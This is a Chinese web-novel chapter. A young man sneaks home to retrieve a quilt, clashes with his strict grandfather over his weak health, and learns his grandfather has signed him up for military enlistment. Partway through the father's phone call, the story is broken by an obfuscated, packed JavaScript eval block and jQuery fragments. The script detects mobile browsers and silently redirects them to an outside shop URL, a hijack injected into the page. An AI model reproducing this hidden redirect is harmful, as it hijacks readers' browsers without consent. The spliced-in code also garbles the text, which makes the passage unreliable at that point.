「国家昌盛，社会和谐，人民幸福」
许昌和翻墙进的老院。
墙根底下那口锈穿了一个洞的铁锅，还倒扣在那儿。
许昌和的脚尖在围墙上借了下力，胳膊一撑就翻过去，落地时膝盖磕在石板地上，疼得他龇了一下牙。
“嘶——”
“有点疼。”
院子里没人，那棵老榆树还在，六月底了，榆钱挂了一串一串的，沉绿沉绿的，风过来就晃。
许昌和蹲在墙根底下缓了一会，才猫着身往西厢房溜。
他这次的目标是被子。
去年冬天偷偷搬出去住的时候，他妈怕他冷，给他絮了一床十斤重的新棉被，又软又暖和。
搬走那天，爷爷堵在堂屋门口，没让他带走，他也不敢硬抢，缩了一下脖子就溜了。
后来在出租屋里冻了小半个月，半夜醒好几回，最后还是厚着脸皮回来“偷”。
可惜，到了现在，还没成功。
许昌和心想：本来就是我的，哪能算偷呢？
这个点爷爷应该在后院菜地。
许昌和算得准准的，爷爷的生活作息比闹钟都准。
早上五点起，浇菜，熬粥，七点端上桌。
吃完早饭坐老榆树底下，泡茶听新闻。
中午再眯一觉，下午又去后院翻地。
几十年都这样。
西厢房的门没锁，他轻轻一推就开了。
床上还是高中那条格子床单，洗得掉色也不舍得换。
棉被叠得方方正正摆在床头，枕套是新换的，有股太阳的味道。
许昌和伸手摸了摸被子面，软乎乎的，心里正踏实着，身后突然有人开口。
“你回来还是为了偷被子？”
许昌和脊背“唰”一下僵了，慢慢转过身，皮笑肉不笑：“爷……爷爷？”
爷爷站在门口，穿着那件旧的深蓝中山装，袖口挽到小臂，露出来的皮肤被晒成酱色了，两手背在身后，腰板笔直，脸上没什么表情，但那双眼睛钉在许昌和身上，从头扫到脚。
许昌和一紧张就笑，嘴角一咧开了口：“爷爷，我回来看看您。”
爷爷没接这个话，他往前走两步进屋，挨着床边站定，严肃地看着许昌和。
许昌和一个一米八二的小伙子，在爷爷面前硬生生矮了半截。
爷爷扫了他一身，忽然问：“这白得发光的是我孙子？！”
许昌和低头看自己的手臂，他住的屋子朝北，常年不见太阳，还天天窝着打游戏，肤色白得简直能反光，胳膊从短袖袖口露出来那段，跟刚挖出来的萝卜似的。
和爷爷站一块尤其惨，一个像老榆树皮，一个像白瓷碗。
“我……没怎么晒。”许昌和摸了摸后脑勺，“这不好看吗？”
爷爷嘴角往下一撇，那个表情许昌和太熟了，是嫌弃，嫌他不成器。
“你爸像你这么大的时候，”爷爷说话稳稳当当的，“负重二十公斤！山地越野，上午一趟下午一趟，脸上晒脱三层皮，晚上回来泡脚，水都是浑的！”
许昌和点头附和：“我爸厉害，我爸随您。”
“你这胳膊细得跟芦柴棒似的！”
“爷爷，这叫精瘦，现在流行这个。”
“流行什么流行？”爷爷眉头皱着，“你妈隔三差五给我打电话，说你又病了，感冒还是发烧？”
“就一次嘛，换季着凉了而已，我现在不好好的吗？”
“一次？”爷爷抬眼看他，“上次打电话说你在医院打吊瓶，怎么回事？”
许昌和心里“咯噔”一下，那事他跟他妈说过别告诉爷爷，他妈嘴上答应得好好的，转头就说了。
三公里，中暑，打点滴，这事要让爷爷知道，他能念叨半年。
“就……跑了个步，天太热，没事儿，坐一会儿就好了。”
“跑了多远？”
许昌和没吭声。
“我问你跑了多远。”
“……三公里。”
爷爷没说话，他站在床边，两只手还背在身后，但许昌和看见他胸腔的起伏，好像是在深呼吸，忍住不要来打他。
这个动作他小时候见过很多次，每次他想偷懒耍赖不想练了，爷爷就那样深呼吸几次，然后一言不发地走开。
“爷爷，”许昌和拍了拍裤子上沾的灰，“那啥，我先走了，回头再来看您。”
他从爷爷旁边侧身挤过去，肩膀擦着门框出了屋。
走到院子中间的时候，爷爷的声音从身后追过来，不高，但每个字都灌满了劲儿。
“许昌和！”
许昌和还真停住了。
“你给我搬回来！”
许昌和站在老榆树底下，榆钱在他头顶簌簌地动，他深吸一口气，加快脚步小跑到墙根底下，踩着那口破铁锅翻出去了。
落地膝盖又磕了一下，他瘸着走了两步才缓过来。
巷子里安安静静的，几只麻雀在电线杆上跳。
许昌和掏出手机看了一眼，他妈妈孟采筠发了条微信：“被子拿到了吗？”
他打字回：“没，爷爷在家。”
那边秒回：“他下午不在后院吗？”
“今天没去。”
“那你明天再回去拿，明天他要去镇上买种子。”
许昌和看了这条消息半天，把手机揣回兜里。
巷子口的风灌进来，带着一股尘土和干草的味道。
许昌和往前走了一段，不太放心，又停下来，回头看了一眼，确认爷爷没追出来。
老院灰扑扑的围墙露在巷子尽头，墙头上几根榆树枝伸出来，挂满青绿的榆钱，在风里晃来晃去。
许昌和想爷爷大概还站在院子中间，他也许还看着那口破铁锅和墙头上被踩松了的砖。
许昌和转过头继续走，小腿肚还酸着，膝盖还疼着，胳膊细得能看见青色的血管。
他自己也觉得不争气，可从小到大那十几年，不是在练就是在练，练完了两眼一黑，醒来就是在医院。
这种日子他真的不想再过了。
回到出租屋开了门，屋里一股闷了一整天的热气扑面而来。
窗帘拉着，电脑还开着，游戏挂了一下午，角色在副本门口一动不动。
许昌和随手把钥匙扔桌上，整个人往床上一倒，盯着天花板上的裂纹看了一会儿。
“明天再回去拿。”他自言自语念了一遍，翻了个身，把脸埋进枕头里。
电话就在这时候响了。
屏幕上跳出来三个字：爸。
许昌和接起来，那边沉默了好几秒，然后他爸的声音传过来，跟平时不太一样：“你爷爷给你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932590|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
报名了。”
“报名？！报什么名？”
“征兵。”
许昌和从床上坐起来了。
许承志说：“武装部的人今天下午来家里了一趟，你爷爷把表填了，我拦不住。”
“爸你开什么玩笑，我体检都过不了，我……”
“你爷爷跟人家武装部的说你练过，底子好，就是瘦了点。”
许昌和拿着手机的手僵在半空，他想象了一下那个画面。
爷爷穿着那件深蓝中山装，坐在老榆树底下，腰板挺得笔直，对着武装部来的人说：“我孙子底子好！”
他想象完，觉得有点好笑，又笑不出来。
“爸，你跟爷爷说我不去。”
“你爷说了，你不去也行。”
许昌和一愣：“他说啥？”
“他说你什么时候不用让他吃降压药，他就不逼你了。”
许昌和拿着手机贴在耳朵没出声，听见他爸吸了一口气，又呼出来，然后挂了。
屋里重新安静下来，电脑屏幕暗了，只有机箱风扇嗡嗡转。
许昌和坐在床沿上，手机屏幕慢慢暗下去，映出他自己的脸，白得不像话，眼眶下面青灰一片。
他想起小时候有一次，大概七八岁。
那天爷爷逼他跑五公里，他跑到第三公里就不行了，两条腿跟灌了铅似的，往地上一坐死活不起来。
爷爷站在旁边看着，从头到尾没说一个字，就转身走了。
许昌和以为逃过一劫，爬到树底下坐着喘气。
过了大约半小时，孟采筠跑来找他，眼睛红红的说：“爷爷回去气得血压上去了，躺在床上脸都是白的。”
许昌和那会儿不太明白什么意思。
孟采筠蹲下来抱着他，说：“你就跑完吧，好不好？就这一次，跑完以后妈给你买糖。”
许昌和那天跑到终点的时候天都黑了。
爷爷从屋里出来，看了他一眼，什么也没说，回屋端了一碗绿豆汤给他喝。
后来许昌和长大了，那种“不跑完爷爷就得吃降压药”的愧疚感慢慢被磨淡了。
他学会嬉皮笑脸，学会装傻充愣，去逃避爷爷的训练。
可他心里清楚，有些东西他从来没学会怎么躲。
许昌和站起来走到窗边，拉开窗帘，太阳偏西了，对面的楼把影子拉得老长了。
他站了一会儿，掏出手机给他爸发了条消息：“表填了就填了吧，我去。”
许昌和说“我去”那两个字的时候，心里想的是先把眼前这关对付过去。
发完没一会儿就把这事儿抛到了脑后。
他想着反正征兵体检那一关他大概率过不了，视力也好心肺功能也好，总有一项能把他刷下来。
到时候不是他不去，是人家部队不要他，爷爷总没话说了吧。
这个念头让他踏实了不少，当晚睡得挺沉。
发完他把手机扔床上，脱了鞋躺下去，盯着天花板那条从灯座旁边一直延伸到墙角的裂缝。
许昌和想起老榆树的树皮，也是这样弯弯扭扭的。
他闭上眼，忽然觉得小腿肚又开始酸了，跑三公里的那个感觉又回来了。
肺烧得慌，眼前还发黑，膝盖软得撑不住人。
哎。
这种日子什么时候到头？